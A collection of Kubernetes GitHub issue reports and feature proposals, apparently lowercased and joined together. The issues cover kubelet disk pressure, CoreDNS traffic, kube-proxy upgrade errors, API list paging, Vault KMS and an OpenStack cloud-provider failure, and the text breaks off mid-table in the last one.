<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r the status of kubelet show diskpressure \r    shell\r  root@gpu16c-0001 overlay2   systemctl status kubelet -l\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since fri 2018-08-03 16:12:26 cst; 50min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 18808  kubelet \r    memory: 50.8m\r    cgroup: /system.slice/kubelet.service\r            └─18808 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --cgroup-driver=cgroupfs --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki --feature-gates=deviceplugins=true\r \r aug 03 17:02:43 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:43.866083   18808 eviction_manager.go:142  failed to admit pod kube-proxy-z46zm_kube-system ea8815fc-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:44 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:44.466877   18808 eviction_manager.go:142  failed to admit pod nvidia-device-plugin-daemonset-ldwsr_kube-system eae3b613-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:45 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:45.069755   18808 eviction_manager.go:142  failed to admit pod calico-node-fjd28_kube-system eb3fac9b-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:45 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:45.670006   18808 eviction_manager.go:142  failed to admit pod kube-proxy-kx8h6_kube-system eb9b4b78-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:45 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:45.776605   18808 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r aug 03 17:02:45 gpu16c-0001.novalocal kubelet 18808 : e0803 17:02:45.776713   18808 kubelet.go:2120  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r aug 03 17:02:46 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:46.269689   18808 eviction_manager.go:142  failed to admit pod nvidia-device-plugin-daemonset-8h766_kube-system ebf63f35-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:46 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:46.868573   18808 eviction_manager.go:142  failed to admit pod calico-node-c8rw9_kube-system ec521274-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:47 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:47.466671   18808 eviction_manager.go:142  failed to admit pod nvidia-device-plugin-daemonset-ppkmf_kube-system ecad92a7-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r aug 03 17:02:47 gpu16c-0001.novalocal kubelet 18808 : w0803 17:02:47.867567   18808 eviction_manager.go:142  failed to admit pod kube-proxy-56djp_kube-system ecea4b63-96fb-11e8-80c4-fa163eb0739b  - node has conditions:  diskpressure \r \r    \r but the disk no this node is fine \r    \r  root@gpu16c-0001 overlay2   df -h\r filesystem                                            size  used avail use% mounted on\r /dev/mapper/euleros-root                               35g   31g  3.1g  91% /\r devtmpfs                                               63g     0   63g   0% /dev\r tmpfs                                                  63g     0   63g   0% /dev/shm\r tmpfs                                                  63g   17m   63g   1% /run\r tmpfs                                                  63g     0   63g   0% /sys/fs/cgroup\r /dev/nvme0n1                                          734g   25g  672g   4% /opt/avatar\r /dev/vda1                                             477m  134m  314m  30% /boot\r sfs-nas1.cn.com:/share-e4aaf55b  2.0t  236g  1.8t  12% /opt/avatar/sfs\r tmpfs                                                  13g     0   13g   0% /run/user/0\r \r  root@gpu16c-0001 overlay2   df -hi\r filesystem                                           inodes iused ifree iuse% mounted on\r /dev/mapper/euleros-root                               2.4m  202k  2.2m    9% /\r devtmpfs                                                17m   442   17m    1% /dev\r tmpfs                                                   17m     1   17m    1% /dev/shm\r tmpfs                                                   17m   504   17m    1% /run\r tmpfs                                                   17m    14   17m    1% /sys/fs/cgroup\r /dev/nvme0n1                                            49m  174k   49m    1% /opt/avatar\r /dev/vda1                                              129k   346  128k    1% /boot\r sfs-nas1.cn.com:/share-e4aaf55b   2.7g   21m  2.7g    1% /opt/avatar/sfs\r tmpfs                                                   17m     1   17m    1% /run/user/0\r \r    \r \r here is docker info\r    \r  root@gpu16c-0001 overlay2   docker info\r containers: 0\r  running: 0\r  paused: 0\r  stopped: 0\r images: 10\r server version: 18.03.1-ce\r storage driver: overlay2\r  backing filesystem: extfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: nvidia runc\r default runtime: nvidia\r init binary: docker-init\r containerd version: 773c489c9c1b21a6d78b5c538cd395416ec50f88\r runc version: 4fc53a81fb7c994640722ac585fa9ca548971871-dirty  expected: 4fc53a81fb7c994640722ac585fa9ca548971871 \r init version: 949e6fa\r security options:\r  seccomp\r   profile: default\r kernel version: 3.10.0-327.62.59.83.h82.x86_64\r operating system: euleros 2.0  sp2 \r ostype: linux\r architecture: x86_64\r cpus: 16\r total memory: 125.7gib\r name: gpu16c-0001.novalocal\r id: sxw7:wsam:psue:2ap3:4uu4:xi3n:uxbg:yfyx:y4ig:6e4t:c4az:dz6t\r docker root dir: /opt/avatar/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r labels:\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: false\r \r \r    \r \r   what you expected to happen  :\r \r node status not into diskpressure when disk space is plenty.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ euleros\ \r version=\ 2.0  sp2 \ \r id=\ euleros\ \r id_like=\ rhel fedora centos\ \r version_id=\ 2.0\ \r pretty_name=\ euleros 2.0  sp2 \ \r ansi_color=\ 0;31\r    \r - kernel  e.g.  uname -a  :\r linux offlinetraining-0001.novalocal 3.10.0-327.59.59.46.h38.x86_64  1 smp mon dec 11 19:34:45 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r - others:\r \r

if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r > kind bug\r >  \r \r   what happened  :\r i have 3 node setup, one master node and 2 worker nodes with calico network plugin.\r there are 2 coredns pods running, one in the master node and other in the worker-node-1\r when i am trying to curl google.com from one of the pods in worker-node-1  this node contains a local coredns pod , the dns requests goes to both of the coredns pods  in master and worker-node-1  randomly. this increases the traffic flow at other interfaces like tunl0 of worker-node-1 and master node, eth0 interface of worker-node-1 and master node, etc.\r instead of this, since there is local coredns pod running in the worker-node-1, the dns requests should go only to this coredns pod and those requests should get resolved. but, the dns requests goes randomly to both of the coredns pods which causes unnecessary traffic flow between interfaces.\r \r   what you expected to happen  :\r the dns requests should go only to the local coredns pod and it should be able to resolve those dns queries.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  create a kubernetes setup  both the coredns pods should be in different nodes .\r 2  create any pod and try to curl google.com from inside of the pod.\r 3  collect tcpdump data at the interfaces like calixxx interface of the pod, tunl0 interface of the worker-nodes having coredns pods, eth0 interface of the nodes having coredns pods, calixxx interface of both the coredns pods.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: linux\r - os  e.g. from /etc/os-release : redhat 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.el7.x86_64\r - install tools: kubeadm init\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i created a job with metadata.generatename twice and waited for completion, but got:\r \r     panic: interface conversion: runtime.object is  unstructured.unstructuredlist, not  unstructured.unstructured\r \r   what you expected to happen  :\r \r kubectl to wait for the last job to complete.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     kubectl create -f job.yaml\r     kubectl create -f job.yaml\r     kubectl wait --for=condition=complete -f job.yaml\r \r job.yaml  shortened :\r \r     apiversion: batch/v1\r     kind: job\r     metadata:\r       generatename: my-job-\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r i upgraded my k8s cluster from 1.11.9 to 1.14.1 and kube-proxy was not able to start on the worker nodes.\r \r it seems that the kube-proxy configmap gets not updated correctly, because it hat some feature flags within wich should not be there:\r \r kube-proxy docker logs:\r    \r f0409 09:41:04.965443       1 server.go:463  failed complete: unrecognized feature gate: mountpropagation\r    \r \r kubectl -n kube-system get cm kube-proxy -o yaml\r    \r kubectl -n kube-system get cm kube-proxy -o yaml\r apiversion: v1\r data:\r   config.conf: |-\r     apiversion: kubeproxy.config.k8s.io/v1alpha1\r     bindaddress: 0.0.0.0\r     clientconnection:\r       acceptcontenttypes: \ \ \r       burst: 10\r       contenttype: application/vnd.kubernetes.protobuf\r       kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\r       qps: 5\r     clustercidr: 10.244.0.0/16\r     configsyncperiod: 15m0s\r     conntrack:\r       max: null\r       maxpercore: 32768\r       min: 131072\r       tcpclosewaittimeout: 1h0m0s\r       tcpestablishedtimeout: 24h0m0s\r     enableprofiling: false\r     featuregates:\r       mountpropagation: true\r       persistentlocalvolumes: true\r       volumescheduling: true\r ...\r    \r \r after removing the feature gates from the configmap kube-proxy was able to start up.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g:  cat /etc/os-release  :\r    \r centos linux release 7.6.1810  core  \r     \r \r - kernel  e.g.  uname -a  :\r    \r linux  3.10.0-957.10.1.el7.x86_64  1 smp mon mar 18 15:06:45 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r     \r \r

this was discussed way back when designing kubectl.   although we want to move more functionality server-side   12143,  5280 , there are going to be some things that are better / more easily done in the client  e.g., processing of local inputs, such as  4822 . for the latter category, it would be useful to support some kind of plugins/extensions in kubectl.

kube-up  generally expects a clean state to operate on. if there are existing resource tagged with kubernetescluster  kube-up  can fail in subtle ways, even though the script seems to have run successfully. a recent example of this that i experienced was an existing route-table tagged with kubernetescluster that caused my  networking to break  https://github.com/kubernetes/kubernetes/issues/24002 , with no obvious indication that something had gone wrong during  kube-up .  it would be really helpful if  kube-up  checked for existing kubernetes tagged resources and warned about them. this can be done with the  describe-tags  http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-tags.html  command, for instances:   aws ec2 describe-tags --filters \ name=key,values=kubernetescluster\    this can be tweaked to also filter on the value, matching the passed in cluster name, to handle multi-cluster situations.  if  kube_use_existing_master  is true, the warning should be skipped since in this case pre-existing resources are expected.

need to be able to browse pods and click-thru to info need to show more than just docker's native info  in fact, maybe we should not show that at all and instead abstract it a bit further?  need to show our own understanding of the world

forked https://github.com/kubernetes/kubernetes/issues/30122\r \r -  x    38153, https://github.com/kubernetes/test-infra/pull/1375    add node conformance ci test.   we should add ci test to avoid new features or tests breaking node conformance test.\r -      optional  add node conformance test into kubernetes release process. ideally, each kubernetes release should have corresponding node conformance test, we should release node conformance test with kubernetes.\r -      optional   28408 define preliminary nodespec and implement kubelet verify.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r statefulset updates\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r updating the pod annotations on a statefulset is currently not possible: kubectl apply produces an error like:\r    \r the statefulset \ statefulset-name-here\  is invalid: spec: forbidden: updates to statefulset spec for fields other than 'replicas' are forbidden.\r    \r \r to actually change the annotations, the statefulset must be destroyed and recreated. this will lose  to my understanding  the storage claims of the statefulset, so is not a clean update mechanism.\r \r could the entire podtemplatespec be made mutable, instead of just the container array?

\r   is this a request for help?    no.\r \r   what keywords did you search in kubernetes issues before filing this one?   is:issue is:open ipv6\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  : n/a, these are unit test changes in latest master\r \r   environment  :\r -   cloud provider or hardware configuration  : kubernetes container dev env on ubuntu 16.04.1\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1\r -   kernel    e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r upon inspection, no ipv6 test cases found in kubernetes/cmd/kube-proxy/app/server_test.go.\r \r   what you expected to happen  :\r expect to see some ipv6 test cases exercised for kube-proxy server code\r  kubernetes/cmd/kube-proxy/app/server.go . also need some code coverage\r for negative conditions in server_test.go.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r run unit tests in kubernetes/cmd/kube-proxy/app/server_test.go\r \r   anything else we need to know  :\r \r

with the move to etcd3, efficient paging from clients down to the underlying store is now possible.  a number of issues have been opened around this  https://github.com/kubernetes/kubernetes/issues/2349 .\r \r    problem statement:\r \r on large clusters, performing large queries  get /api/v1/pods, get /api/v1/secrets  can cause several problems:\r \r   large reads to etcd block writes to the same range  https://github.com/coreos/etcd/issues/7719  - might be fixed in the near future\r   on very large ranges  100k secrets, 100k pods , the amount of data transferred can be in the hundreds of megabytes  500m secret reads have been observed in the wild  - that data has to be loaded into memory in etcd all at once\r   the data from etcd has to be transferred to the apiserver\r   the  kube-apiserver  also has to load all that into memory  in a larger form than etcd  which can cause large spikes in memory usage\r   a slow client reading from the kube-apiserver may timeout if there is significant contention on the master, or if their network can't transfer the data in the 60s window\r    kubectl get  of a large fetch must also load that entirely into memory\r \r in general, if we can efficiently page from clients to etcd, we can reduce spikiness of memory allocations and cpu and smear that cost over time.\r \r    proposed change:\r \r expose a simple paging mechanism to perform consistent reads across a large list .  clients would indicate a limit with their  list  calls that indicates how many objects they wish to receive.  the server would return up to that amount of objects, and if more exist it would return a  continue  parameter that the client could pass to receive the next set of data  along with a limit .  the server would be allowed to ignore the limit if it does not implement limiting  backward compatible , but it is not allowed to support limiting without supporting a way to continue the query past the limit  may not implement  limit  without  continue  .\r \r    \r get /api/v1/pods?limit=500\r {\r   \ metadata\ : {\ continue\ : \ abc...\ , \ resourceversion\ : \ 147\ },\r   \ items\ :  \r      // no more than 500 items\r     \r }\r get /api/v1/pods?limit=500&continue=abc...\r {\r   \ metadata\ : {\ continue\ : \ def...\ , \ resourceversion\ : \ 147\ },\r   \ items\ :  \r      // no more than 500 items\r     \r }\r get /api/v1/pods?limit=500&continue=def...\r {\r   \ metadata\ : {\ resourceversion\ : \ 147\ },\r   \ items\ :  \r      // no more than 500 items\r     \r }\r    \r \r     backends\r \r etcd2 would not be supported.  other databases that might back kubernetes could either chose to not implement limiting, or use an mvcc style approach that provides a consistent read.  non consistent lists would not be supported since this would not enable informers and other clients to perform a resync safely.\r \r for etcd3, the continue parameter would need to contain a resource version  the snapshot that we are reading that is consistent across the entire list  and the start key for the range.  the end key would be calculated by storage before invoking etcd.\r \r     handling expired resource versions\r \r if the resource version has expired  default 5m expiration today , the server would return a  410 gone resourceexpired  status reponse  the same as for watch , which means clients must either start their page over again, or relist.\r \r    \r   resourceversion is expired\r get /api/v1/pods?limit=500&continue=def...\r {\r   \ kind\ : \ status\ ,\r   \ code\ : 410,\r   \ reason\ : \ resourceexpired\ \r }\r    \r \r the 5 minute default compaction interval for etcd3 bounds how long a list can run.  since clients may wish to perform processing over very large sets, increasing that timeout may make sense for large clusters.\r \r      types of clients and impact\r \r some clients such as controllers, receiving a 410 error, may instead wish to perform a full list without paging.\r \r   controllers with full caches\r     any controller with a full in-memory cache of one or more resources almost certainly depends on having a consistent view of resources, and so will either need to perform a full list or a paged list, without dropping results\r    kubectl get \r     most administrators would probably prefer to see a very large set with some inconsistency rather than no results  due to a timeout under load .  they would likely be ok with handling  410 resourceexpired  as \ continue from the last key i processed\ \r   migration style commands\r     assuming a migration command has to run on the full data set  to upgrade a resource from json to protobuf, or to check a large set of resources for errors  and is performing some expensive calculation on each, very large sets may not complete over the server expiration window.\r \r for clients that do not care about consistency, the storage  should  return a  continue  value with the  resourceexpired  error that allows the client to restart from the same prefix key, but using the latest resource version.  this would allow clients that do not require a fully consistent list to opt in to partially consistent lists but still be able to scan the entire working set.\r \r     rate limiting\r \r since the goal is to reduce spikiness of load, the standard api rate limiter might prefer to rate limit page requests differently from global lists, allowing full lists only slowly while smaller pages can proceed more quickly.\r \r     enabling by default?\r \r on a very large data set, paging trades total memory allocated in etcd, the apiserver, and the client for higher overhead per request  request/response processing, authentication, authorization .  picking a sufficiently high paging value like 500 or 1000 would not impact smaller clusters, but would reduce the peak memory load of a very large cluster  10k resources and up .  in testing, no significant overhead was shown in etcd3 for a paged historical query which is expected since the etcd3 store is an mvcc store and must always filter some values to serve a list.\r \r for clients that must perform sequential processing of lists  kubectl get, migration commands  this change dramatically improves initial latency - clients got their first chunk of data in milliseconds, rather than seconds for the full set.\r \r     other solutions\r \r compression from the apiserver and between the apiserver and etcd can reduce total network bandwidth, but cannot reduce the peak cpu and memory used inside the three processes.\r

resources  not just secrets  in a kubernetes cluster can be encrypted using an envelope encryption scheme with the dek being encrypted with a kek that is managed in vault. \r \r add support for using hashicorp vault as a kms provider to manage keks. \r \r would address several concerns discussed in the issues referenced: \r \r    reuse vault already in use in an enterprise to additionall manage keks for k8s clusters. \r    kek is externalized and managed in the kms provider, adding to the security of the overall deployment. \r    separate cluster mangement responsibilities from key management/administration, better reflecting ops, secops separations.  \r \r  design proposal  https://docs.google.com/document/d/15-baw4i7qws1yxxiyjhxqkpk259ebauqbecqcppd308/edit  . discussed at  sig-auth july 26  https://docs.google.com/document/d/1wolgroone3ebvx-wtb4pvp4ci7tmlz6ls26vtboslkm/edit heading=h.ucn6b5acqauf .  \r \r alpha release target 1.8 ?  \r \r relies on support added via prs\r \r   https://github.com/kubernetes/kubernetes/pull/41939 for transformers\r   https://github.com/kubernetes/kubernetes/pull/49350 for envelope encryption transformers\r   config support added in https://github.com/kubernetes/kubernetes/pull/46460 and https://github.com/kubernetes/kubernetes/pull/48574\r \r    roadmap\r    a plan for kubernetes secrets  https://docs.google.com/document/d/1jawpuzg47uhfrvlof-lmw08ojztunw8pvtnxdk3rcf8/edit heading=h.vw9xyk1ib8nn \r   https://github.com/kubernetes/community/pull/607\r \r    related issues  \r   https://github.com/kubernetes/features/issues/92 \r   https://github.com/kubernetes/kubernetes/issues/12742\r   https://github.com/kubernetes/kubernetes/issues/28538\r   https://github.com/kubernetes/kubernetes/issues/10439\r   https://github.com/kubernetes/kubernetes/issues/48522\r \r  \r @kubernetes/sig-auth\r \r  \r /assign @vineet-garg

 \r \r   what happened  : \r    yaml\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: example\r spec:\r   containers:\r     - name: example\r       image: alpine:latest\r       command:  \ sleep\ , \ 1\  \r       lifecycle:\r         prestop:\r           exec:\r             command:  \ sleep\ , \ 1\  \r    \r \r    sh\r $ kubectl get pod example\r name      ready     status             restarts   age\r example   0/1       crashloopbackoff   2          49s\r    \r \r   what you expected to happen  :\r i expect the  prestop  hook to successfully complete. in addition, since there is an error, i expect there to be some way to get logs for what went wrong.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    sh\r $ minikube start --kubernetes-version v1.8.0\r $ kubectl apply -f $path_to_above_spec\r    \r \r   anything else we need to know?  :\r    sh\r $ kubectl describe pod example\r name:\t\texample\r namespace:\tdefault\r node:\t\tminikube/192.168.99.100\r start time:\tsun, 17 dec 2017 15:00:34 -0600\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\trunning\r ip:\t\t172.17.0.4\r containers:\r   example:\r     container id:\tdocker://3aa77c7cfb695760e1377accb986471846e87f19e5185961a01462e86d84d342\r     image:\t\talpine:latest\r     image id:\t\tdocker-pullable://alpine@sha256:ccba511b1d6b5f1d83825a94f9d5b05528db456d9cf14a1ea1db892c939cda64\r     port:\t\t<none>\r     command:\r       sleep\r       1\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r       started:\t\tsun, 17 dec 2017 15:02:13 -0600\r       finished:\t\tsun, 17 dec 2017 15:02:14 -0600\r     ready:\t\tfalse\r     restart count:\t4\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nbr8s  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   default-token-nbr8s:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-nbr8s\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t\t-------\r   2m\t\t2m\t\t1\tdefault-scheduler\t\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned example to minikube\r   2m\t\t2m\t\t1\tkubelet, minikube\t\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-nbr8s\ \r   2m\t\t1m\t\t5\tkubelet, minikube\tspec.containers{example}\tnormal\t\tpulling\t\t\tpulling image \ alpine:latest\ \r   2m\t\t1m\t\t5\tkubelet, minikube\tspec.containers{example}\tnormal\t\tpulled\t\t\tsuccessfully pulled image \ alpine:latest\ \r   2m\t\t1m\t\t5\tkubelet, minikube\tspec.containers{example}\tnormal\t\tcreated\t\t\tcreated container\r   2m\t\t1m\t\t5\tkubelet, minikube\tspec.containers{example}\tnormal\t\tstarted\t\t\tstarted container\r   2m\t\t3s\t\t14\tkubelet, minikube\tspec.containers{example}\twarning\t\tbackoff\t\t\tback-off restarting failed container\r   2m\t\t3s\t\t14\tkubelet, minikube\t\t\t\t\twarning\t\tfailedsync\t\terror syncing pod\r    \r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-openstack\r \r   what happened  :\r kubelet fails when kubernetes master gets started using cloud-provider openstack und kubeadm init command.  journalctl -u kubelet.service  says:\r \r    \r kubelet 4653 : i0111 09:10:41.745501    4653 feature_gate.go:220  feature gates: &{{} map  }\r kubelet 4653 : i0111 09:10:41.746039    4653 controller.go:114  kubelet config controller: starting controller\r kubelet 4653 : i0111 09:10:41.746343    4653 controller.go:118  kubelet config controller: validating combination of defaults and flags\r kubelet 4653 : w0111 09:10:41.765718    4653 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r kubelet 4653 : i0111 09:10:41.771503    4653 server.go:182  version: v1.9.1\r kubelet 4653 : i0111 09:10:41.771577    4653 feature_gate.go:220  feature gates: &{{} map  }\r kubelet 4653 : error: failed to run kubelet: could not init cloud provider \ openstack\ : warning:\r kubelet 4653 : can't store data at section \ loadbalancer\ , variable \ node-security-group\ \r systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r systemd 1 : kubelet.service: unit entered failed state.\r systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r \r   what you expected to happen  :\r \r kubelet starts and manages the loadbalancer and its security group.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup an instance on openstack. place the following cloud-config in  /etc/kubernetes/pki/cloud-config \r \r    \r  global \r username=   \r password=   \r auth-url=https://identity.   /v3\r tenant-id=   \r domain-id=default\r \r  loadbalancer \r subnet-id=38264923-c60c-48cb-a146-1c707b2b5b8d\r create-monitor=true\r monitor-delay=10s\r monitor-timeout=2000s\r monitor-max-retries=3\r manage-security-groups=true\r node-security-group=cf73c410-7b8c-4e84-95f1-5c42ee8b09f7\r    \r \r and  /etc/kubernetes/kubeadm.yaml :\r \r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: v1.9.0\r cloudprovider: openstack\r \r apiserverextraargs:\r   cloud-config: /etc/kubernetes/pki/cloud-config\r controllermanagerextraargs:\r   cloud-config: /etc/kubernetes/pki/cloud-config\r    \r \r as well as  /etc/systemd/system/kubelet.service.d/10-kubeadm.conf :\r \r    \r  service \r environment=\ kubelet_extra_args=--cloud-provider=openstack --cloud-config=/etc/kubernetes/pki/cloud-config\ \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_certificate_args $kubelet_extra_args\r    \r \r run: \r \r    \r sudo systemctl daemon-reload\r sudo sysctl net.bridge.bridge-nf-call-iptables=1\r sudo kubeadm init --config /etc/kubernetes/kubeadm.yaml > kubeadm.log\r    \r \r for further information:\r \r \r \r  openstack subnet show 38264923-c60c-48cb-a146-1c707b2b5b8d \r    \r +-------------------+--------------------------------------+\r | field             | value                                |\r +-------------------+--------------------------------------+\r | allocation_pools  | 192.168.0.2-192.168.0.254            |\r | cidr              | 192.168.0.0/24                       |\r | created_at        | 2018-01-11t08:58:13z                 |\r | description       |                                      |\r | dns_nameservers   | 8.8.8.8                              |\r | enable_dhcp       | true                                 |\r | gateway_ip        | 192.168.0.1                          |\r | host_routes       |                                      |\r | id                | 38264923-c60c-48cb-a146-1c707b2b5b8d |\r | ip_version        | 4                                    |\r | ipv6_address_mode | none                                 |\r | ipv6_ra_mode      | none                                 |\r | name              | idcp-subnet                          |\r | network_id        | ecec1d3c-cd2b-4be1-86cc-99ed50be4ca2 |\r | project_id        | a53498e42330492b8d4e335abbac17cb     |\r | revision_number   | 2                                    |\r | segment_id        | none                                 |\r | service_types     |                                      |\r | subnetpool_id     | none                                 |\r | tags              |                                      |\r | updated_at        